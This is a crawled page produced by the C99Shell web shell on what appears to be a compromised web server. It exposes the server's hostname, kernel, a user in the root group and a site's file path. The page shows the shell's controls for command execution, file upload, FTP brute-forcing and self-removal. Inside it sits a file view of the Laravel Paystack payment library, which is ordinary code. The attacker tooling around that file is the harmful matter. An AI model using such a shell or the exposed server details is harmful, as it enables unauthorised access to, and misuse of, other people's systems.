!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/unicodeveloper/laravel-paystack/src/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Paystack.php (19.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Laravel Paystack package.
 *
 * (c) Prosper Otemuyiwa <prosperotemuyiwa@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Unicodeveloper\Paystack;

use 
GuzzleHttp\Client;
use 
Illuminate\Support\Facades\Config;
use 
Unicodeveloper\Paystack\Exceptions\IsNullException;
use 
Unicodeveloper\Paystack\Exceptions\PaymentVerificationFailedException;

class 
Paystack
{
    
/**
     * Transaction Verification Successful
     */
    
const VS 'Verification successful';

    
/**
     *  Invalid Transaction reference
     */
    
const ITF "Invalid transaction reference";

    
/**
     * Issue Secret Key from your Paystack Dashboard
     * @var string
     */
    
protected $secretKey;

    
/**
     * Instance of Client
     * @var Client
     */
    
protected $client;

    
/**
     *  Response from requests made to Paystack
     * @var mixed
     */
    
protected $response;

    
/**
     * Paystack API base Url
     * @var string
     */
    
protected $baseUrl;

    
/**
     * Authorization Url - Paystack payment page
     * @var string
     */
    
protected $authorizationUrl;

    public function 
__construct()
    {
        
$this->setKey();
        
$this->setBaseUrl();
        
$this->setRequestOptions();
    }

    
/**
     * Get Base Url from Paystack config file
     */
    
public function setBaseUrl()
    {
        
$this->baseUrl Config::get('paystack.paymentUrl');
    }

    
/**
     * Get secret key from Paystack config file
     */
    
public function setKey()
    {
        
$this->secretKey Config::get('paystack.secretKey');
    }

    
/**
     * Set options for making the Client request
     */
    
private function setRequestOptions()
    {
        
$authBearer 'Bearer ' $this->secretKey;

        
$this->client = new Client(
            [
                
'base_uri' => $this->baseUrl,
                
'headers' => [
                    
'Authorization' => $authBearer,
                    
'Content-Type'  => 'application/json',
                    
'Accept'        => 'application/json'
                
]
            ]
        );
    }


    
/**

     * Initiate a payment request to Paystack
     * Included the option to pass the payload to this method for situations
     * when the payload is built on the fly (not passed to the controller from a view)
     * @return Paystack
     */

    
public function makePaymentRequest($data null)
    {
        if (
$data == null) {

            
$quantity intval(request()->quantity ?? 1);

            
$data array_filter([
                
"amount" => intval(request()->amount) * $quantity,
                
"reference" => request()->reference,
                
"email" => request()->email,
                
"plan" => request()->plan,
                
"first_name" => request()->first_name,
                
"last_name" => request()->last_name,
                
"callback_url" => request()->callback_url,
                
"currency" => (request()->currency != ""  request()->currency "NGN"),

                
/*
                    Paystack allows for transactions to be split into a subaccount -
                    The following lines trap the subaccount ID - as well as the ammount to charge the subaccount (if overriden in the form)
                    both values need to be entered within hidden input fields
                */
                
"subaccount" => request()->subaccount,
                
"transaction_charge" => request()->transaction_charge,

                
/**
                 * Paystack allows for transaction to be split into multi accounts(subaccounts)
                 * The following lines trap the split ID handling the split
                 * More details here: https://paystack.com/docs/payments/multi-split-payments/#using-transaction-splits-with-payments
                 */
                
"split_code" => request()->split_code,

                
/**
                 * Paystack allows transaction to be split into multi account(subaccounts) on the fly without predefined split
                 * form need an input field: <input type="hidden" name="split" value="{{ json_encode($split) }}" >
                 * array must be set up as:
                 *  $split = [
                 *    "type" => "percentage",
                 *     "currency" => "KES",
                 *     "subaccounts" => [
                 *       { "subaccount" => "ACCT_li4p6kte2dolodo", "share" => 10 },
                 *       { "subaccount" => "ACCT_li4p6kte2dolodo", "share" => 30 },
                 *     ],
                 *     "bearer_type" => "all",
                 *     "main_account_share" => 70,
                 * ]
                 * More details here: https://paystack.com/docs/payments/multi-split-payments/#dynamic-splits
                 */
                
"split" => request()->split,
                
/*
                * to allow use of metadata on Paystack dashboard and a means to return additional data back to redirect url
                * form need an input field: <input type="hidden" name="metadata" value="{{ json_encode($array) }}" >
                * array must be set up as:
                * $array = [ 'custom_fields' => [
                *                   ['display_name' => "Cart Id", "variable_name" => "cart_id", "value" => "2"],
                *                   ['display_name' => "Sex", "variable_name" => "sex", "value" => "female"],
                *                   .
                *                   .
                *                   .
                *                  ]
                *          ]
                */
                
'metadata' => request()->metadata
            
]);
        }

        
$this->setHttpResponse('/transaction/initialize''POST'$data);

        return 
$this;
    }


    
/**
     * @param string $relativeUrl
     * @param string $method
     * @param array $body
     * @return Paystack
     * @throws IsNullException
     */
    
private function setHttpResponse($relativeUrl$method$body = [])
    {
        if (
is_null($method)) {
            throw new 
IsNullException("Empty method not allowed");
        }

        
$this->response $this->client->{strtolower($method)}(
            
$this->baseUrl $relativeUrl,
            [
"body" => json_encode($body)]
        );

        return 
$this;
    }

    
/**
     * Get the authorization url from the callback response
     * @return Paystack
     */
    
public function getAuthorizationUrl($data null)
    {
        
$this->makePaymentRequest($data);

        
$this->url $this->getResponse()['data']['authorization_url'];

        return 
$this;
    }

    
/**
     * Get the authorization callback response
     * In situations where Laravel serves as an backend for a detached UI, the api cannot redirect
     * and might need to take different actions based on the success or not of the transaction
     * @return array
     */
    
public function getAuthorizationResponse($data)
    {
        
$this->makePaymentRequest($data);

        
$this->url $this->getResponse()['data']['authorization_url'];

        return 
$this->getResponse();
    }

    
/**
     * Hit Paystack Gateway to Verify that the transaction is valid
     */
    
private function verifyTransactionAtGateway($transaction_id null)
    {
        
$transactionRef $transaction_id ?? request()->query('trxref');

        
$relativeUrl "/transaction/verify/{$transactionRef}";

        
$this->response $this->client->get($this->baseUrl $relativeUrl, []);
    }

    
/**
     * True or false condition whether the transaction is verified
     * @return boolean
     */
    
public function isTransactionVerificationValid($transaction_id null)
    {
        
$this->verifyTransactionAtGateway($transaction_id);

        
$result $this->getResponse()['message'];

        switch (
$result) {
            case 
self::VS:
                
$validate true;
                break;
            case 
self::ITF:
                
$validate false;
                break;
            default:
                
$validate false;
                break;
        }

        return 
$validate;
    }

    
/**
     * Get Payment details if the transaction was verified successfully
     * @return json
     * @throws PaymentVerificationFailedException
     */
    
public function getPaymentData()
    {
        if (
$this->isTransactionVerificationValid()) {
            return 
$this->getResponse();
        } else {
            throw new 
PaymentVerificationFailedException("Invalid Transaction Reference");
        }
    }

    
/**
     * Fluent method to redirect to Paystack Payment Page
     */
    
public function redirectNow()
    {
        return 
redirect($this->url);
    }

    
/**
     * Get Access code from transaction callback respose
     * @return string
     */
    
public function getAccessCode()
    {
        return 
$this->getResponse()['data']['access_code'];
    }

    
/**
     * Generate a Unique Transaction Reference
     * @return string
     */
    
public function genTranxRef()
    {
        return 
TransRef::getHashedToken();
    }

    
/**
     * Get all the customers that have made transactions on your platform
     * @return array
     */
    
public function getAllCustomers()
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse("/customer"'GET', [])->getData();
    }

    
/**
     * Get all the plans that you have on Paystack
     * @return array
     */
    
public function getAllPlans()
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse("/plan"'GET', [])->getData();
    }

    
/**
     * Get all the transactions that have happened overtime
     * @return array
     */
    
public function getAllTransactions()
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse("/transaction"'GET', [])->getData();
    }

    
/**
     * Get the whole response from a get operation
     * @return array
     */
    
private function getResponse()
    {
        return 
json_decode($this->response->getBody(), true);
    }

    
/**
     * Get the data response from a get operation
     * @return array
     */
    
private function getData()
    {
        return 
$this->getResponse()['data'];
    }

    
/**
     * Create a plan
     */
    
public function createPlan()
    {
        
$data = [
            
"name" => request()->name,
            
"description" => request()->desc,
            
"amount" => intval(request()->amount),
            
"interval" => request()->interval,
            
"send_invoices" => request()->send_invoices,
            
"send_sms" => request()->send_sms,
            
"currency" => request()->currency,
        ];

        
$this->setRequestOptions();

        return 
$this->setHttpResponse("/plan"'POST'$data)->getResponse();
    }

    
/**
     * Fetch any plan based on its plan id or code
     * @param $plan_code
     * @return array
     */
    
public function fetchPlan($plan_code)
    {
        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/plan/' $plan_code'GET', [])->getResponse();
    }

    
/**
     * Update any plan's details based on its id or code
     * @param $plan_code
     * @return array
     */
    
public function updatePlan($plan_code)
    {
        
$data = [
            
"name" => request()->name,
            
"description" => request()->desc,
            
"amount" => intval(request()->amount),
            
"interval" => request()->interval,
            
"send_invoices" => request()->send_invoices,
            
"send_sms" => request()->send_sms,
            
"currency" => request()->currency,
        ];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/plan/' $plan_code'PUT'$data)->getResponse();
    }

    
/**
     * Create a customer
     */
    
public function createCustomer()
    {
        
$data = [
            
"email" => request()->email,
            
"first_name" => request()->fname,
            
"last_name" => request()->lname,
            
"phone" => request()->phone,
            
"metadata" => request()->additional_info /* key => value pairs array */

        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/customer''POST'$data)->getResponse();
    }

    
/**
     * Fetch a customer based on id or code
     * @param $customer_id
     * @return array
     */
    
public function fetchCustomer($customer_id)
    {
        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/customer/' $customer_id'GET', [])->getResponse();
    }

    
/**
     * Update a customer's details based on their id or code
     * @param $customer_id
     * @return array
     */
    
public function updateCustomer($customer_id)
    {
        
$data = [
            
"email" => request()->email,
            
"first_name" => request()->fname,
            
"last_name" => request()->lname,
            
"phone" => request()->phone,
            
"metadata" => request()->additional_info /* key => value pairs array */

        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/customer/' $customer_id'PUT'$data)->getResponse();
    }

    
/**
     * Export transactions in .CSV
     * @return array
     */
    
public function exportTransactions()
    {
        
$data = [
            
"from" => request()->from,
            
"to" => request()->to,
            
'settled' => request()->settled
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/transaction/export''GET'$data)->getResponse();
    }

    
/**
     * Create a subscription to a plan from a customer.
     */
    
public function createSubscription()
    {
        
$data = [
            
"customer" => request()->customer//Customer email or code
            
"plan" => request()->plan,
            
"authorization" => request()->authorization_code
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/subscription''POST'$data)->getResponse();
    }

    
/**
     * Get all the subscriptions made on Paystack.
     *
     * @return array
     */
    
public function getAllSubscriptions()
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse("/subscription"'GET', [])->getData();
    }

    
/**
     * Get customer subscriptions
     *
     * @param integer $customer_id
     * @return array
     */
    
public function getCustomerSubscriptions($customer_id)
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse('/subscription?customer=' $customer_id'GET', [])->getData();
    }

    
/**
     * Get plan subscriptions
     *
     * @param  integer $plan_id
     * @return array
     */
    
public function getPlanSubscriptions($plan_id)
    {
        
$this->setRequestOptions();

        return 
$this->setHttpResponse('/subscription?plan=' $plan_id'GET', [])->getData();
    }

    
/**
     * Enable a subscription using the subscription code and token
     * @return array
     */
    
public function enableSubscription()
    {
        
$data = [
            
"code" => request()->code,
            
"token" => request()->token,
        ];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/subscription/enable''POST'$data)->getResponse();
    }

    
/**
     * Disable a subscription using the subscription code and token
     * @return array
     */
    
public function disableSubscription()
    {
        
$data = [
            
"code" => request()->code,
            
"token" => request()->token,
        ];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/subscription/disable''POST'$data)->getResponse();
    }

    
/**
     * Fetch details about a certain subscription
     * @param mixed $subscription_id
     * @return array
     */
    
public function fetchSubscription($subscription_id)
    {
        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/subscription/' $subscription_id'GET', [])->getResponse();
    }

    
/**
     * Create pages you can share with users using the returned slug
     */
    
public function createPage()
    {
        
$data = [
            
"name" => request()->name,
            
"description" => request()->description,
            
"amount" => request()->amount
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/page''POST'$data)->getResponse();
    }

    
/**
     * Fetches all the pages the merchant has
     * @return array
     */
    
public function getAllPages()
    {
        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/page''GET', [])->getResponse();
    }

    
/**
     * Fetch details about a certain page using its id or slug
     * @param mixed $page_id
     * @return array
     */
    
public function fetchPage($page_id)
    {
        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/page/' $page_id'GET', [])->getResponse();
    }

    
/**
     * Update the details about a particular page
     * @param $page_id
     * @return array
     */
    
public function updatePage($page_id)
    {
        
$data = [
            
"name" => request()->name,
            
"description" => request()->description,
            
"amount" => request()->amount
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/page/' $page_id'PUT'$data)->getResponse();
    }

    
/**
     * Creates a subaccount to be used for split payments . Required    params are business_name , settlement_bank , account_number ,   percentage_charge
     *
     * @return array
     */

    
public function createSubAccount()
    {
        
$data = [
            
"business_name" => request()->business_name,
            
"settlement_bank" => request()->settlement_bank,
            
"account_number" => request()->account_number,
            
"percentage_charge" => request()->percentage_charge,
            
"primary_contact_email" => request()->primary_contact_email,
            
"primary_contact_name" => request()->primary_contact_name,
            
"primary_contact_phone" => request()->primary_contact_phone,
            
"metadata" => request()->metadata,
            
'settlement_schedule' => request()->settlement_schedule
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse('/subaccount''POST'array_filter($data))->getResponse();
    }

    
/**
     * Fetches details of a subaccount
     * @param subaccount code
     * @return array
     */
    
public function fetchSubAccount($subaccount_code)
    {

        
$this->setRequestOptions();
        return 
$this->setHttpResponse("/subaccount/{$subaccount_code}""GET", [])->getResponse();
    }

    
/**
     * Lists all the subaccounts associated with the account
     * @param $per_page - Specifies how many records to retrieve per page , $page - SPecifies exactly what page to retrieve
     * @return array
     */
    
public function listSubAccounts($per_page$page)
    {

        
$this->setRequestOptions();
        return 
$this->setHttpResponse("/subaccount/?perPage=" . (int) $per_page "&page=" . (int) $page"GET")->getResponse();
    }


    
/**
     * Updates a subaccount to be used for split payments . Required params are business_name , settlement_bank , account_number , percentage_charge
     * @param subaccount code
     * @return array
     */

    
public function updateSubAccount($subaccount_code)
    {
        
$data = [
            
"business_name" => request()->business_name,
            
"settlement_bank" => request()->settlement_bank,
            
"account_number" => request()->account_number,
            
"percentage_charge" => request()->percentage_charge,
            
"description" => request()->description,
            
"primary_contact_email" => request()->primary_contact_email,
            
"primary_contact_name" => request()->primary_contact_name,
            
"primary_contact_phone" => request()->primary_contact_phone,
            
"metadata" => request()->metadata,
            
'settlement_schedule' => request()->settlement_schedule
        
];

        
$this->setRequestOptions();
        return 
$this->setHttpResponse("/subaccount/{$subaccount_code}""PUT"array_filter($data))->getResponse();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--